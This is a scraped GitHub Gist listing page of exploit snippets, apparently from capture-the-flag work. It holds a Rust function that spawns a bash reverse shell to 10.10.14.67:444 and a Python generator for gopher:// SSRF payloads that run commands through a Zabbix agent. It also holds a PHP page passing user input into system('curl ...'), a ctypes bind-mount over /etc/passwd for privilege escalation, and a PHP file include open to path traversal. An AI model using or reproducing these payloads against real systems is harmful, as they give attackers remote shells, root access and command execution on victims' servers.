Gustavo Saez Ferreira GugSaas
🎯
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| // I couldn't find the owner of the exploit, anyone who knows can comment so I can give the credits ;) | |
| extern crate chrono; | |
| use std::fs::OpenOptions; | |
| use std::io::Write; | |
| use chrono::prelude::*; | |
| use std::process::Command; | |
| pub fn log(user: &str, query: &str, justification: &str) { | |
| let command = "bash -i >& /dev/tcp/10.10.14.67/444 0>&1"; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/usr/bin/python3 | |
| import os | |
| import shutil | |
| import stat | |
| import subprocess | |
| import sys | |
| import tempfile | |
| import time | |
| from pathlib import Path |
GugSaas
/ ssrf_zabbix.py
Created
January 22, 2023 19:55
Payload to exploit SSRF Protocol Smuggling to interact with Zabbix intead of Gopherus (out of date payload)
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| import struct | |
| import urllib.parse | |
| header = "ZBXD\x01" | |
| key0 = input('Command: ') | |
| key = f'system.run[({key0})]' | |
| print("gopher://127.0.0.1:10050/_",end="") | |
| print(urllib.parse.quote_plus(header).replace("+","%20").replace("%2F","/").replace("%25","%").replace("%3A",":"),end="") | |
| print(urllib.parse.quote_plus(struct.pack("<Q", len(key)+2).decode()).replace("+","%20").replace("%2F","/").replace("%25","%").replace("%3A",":"),end="") |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <?php | |
| if($_GET['next']){ | |
| system("curl ".$_GET['next']); | |
| } | |
| ?> | |
| <a href="?next=https://google.com">Clique aqui caso nao tenha sido redirecionado</a> |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| from ctypes import * | |
| libc = CDLL("libc.so.6") | |
| libc.mount.argtypes = (c_char_p, c_char_p, c_char_p, c_ulong, c_char_p) | |
| MS_BIND = 4096 | |
| source = b"/tmp/passwd" | |
| target = b"/etc/passwd" | |
| filesystemtype = b"none" | |
| options = b"rw" | |
| mountflags = MS_BIND | |
| libc.mount(source, target, filesystemtype, mountflags, options) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <!DOCTYPE html> | |
| <html lang="en"> | |
| <head> | |
| <meta charset="UTF-8"> | |
| <meta http-equiv="X-UA-Compatible" content="IE=edge"> | |
| <meta name="viewport" content="width=device-width, initial-scale=1.0"> | |
| <title>Home</title> | |
| </head> | |
| <body> | |
| <h1>Essa é a página principal da Empresa Saas</h1> |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <?php | |
| if(isset($_GET['page']) and !empty($_GET['page'])) { | |
| echo file_get_contents("paginas/".$_GET['page']); | |
| } else { | |
| echo file_get_contents("paginas/home.html"); | |
| } | |
| ?> |